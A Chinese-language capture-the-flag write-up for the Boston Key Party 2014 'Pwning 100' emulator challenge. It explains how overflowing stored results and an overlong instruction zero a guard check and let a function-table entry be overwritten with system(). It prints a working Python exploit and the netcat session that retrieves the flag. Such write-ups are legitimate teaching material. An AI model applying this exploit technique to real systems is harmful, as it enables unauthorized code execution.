over 9 years ago
Pwning 100, ELF x64: https://github.com/csie217/ctf/raw/master/boston-key-party-2014/emu
分析一下 binary,發現是個吃 bytecode 的模擬器,固定指令長度 4 byte。模擬器本身沒有漏洞,但亂戳一陣會發現: 指令太長會或跑太多次會噴 error: *** HEAP FUCKERY DETECTED ***
。原因是每次的執行結果都會存在 stack 上,太多次的話會覆蓋到檢查 buffer overflow 的 guard;指令太長的話則是會覆蓋掉檢查用的 magic-number。每回的流程大概是這樣:
- 讀入 bytecode
- 檢查
guard == magic-number
,magic-number 是一開始 srand(time(0)) 生成的,如果不相等就噴 error - 執行 bytecode
- 執行結果 push 到一個 local array 上,並且把上一次的結果清 0
輸入指令的 buffer 在 0x604B80,magic-number 在 0x604C00,再往下則有模擬器做 system call 用的 function table (0x604C10)。試試看可不可以把它蓋成 system() (0x0410d0),只是要想辦法突破 guard == magic-number
這關。雖然 srand(time(0)) 應可以直接計算出來,不過我們用的方法是這樣:
- 執行回傳值為 0 的 bytecode
02000000 (R0 = R0 - R0)
11 次。第 11 次剛好會蓋住 guard,把它改成 0。 - 過長的 bytecode
0000 ... 0000
。這是合法的指令,而且剛好在下次檢查前把 magic-number 也改為 0。
完整的 exploit 如下:
def R(s):
print s.encode('base64').replace('\n','')
for i in range(0,11):
R('\x02\x00\x00\x00')
cmd = '\x00cat key\x00'
R(cmd+'\x00'*(144-len(cmd))+'\xd0\x10\x40\x00\x00\x00\x00\x00')
執行後得到 key
seanwu:~/bkp$ python ./emu.py | nc 54.218.22.41 4545
RISC CPU Emulator BkP 2014
Give me your bytecode!
Please give me your bytecode base64'd:
Got it, executing AgAAAA== now!
sub r[0], r[0], r[0]
Returning value of 0x0
Resetting VM.....
Please give me your bytecode base64'd:
Got it, executing AgAAAA== now!
... (略)
sub r[0], r[0], r[0]
Returning value of 0x0
Resetting VM.....
Please give me your bytecode base64'd:
Got it, executing AGNhdCBrZXkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0BBAAAAAAAA= now!
flag{stupid_boston_leprechauns_and_geohots}
I don't recognize opcode 0x20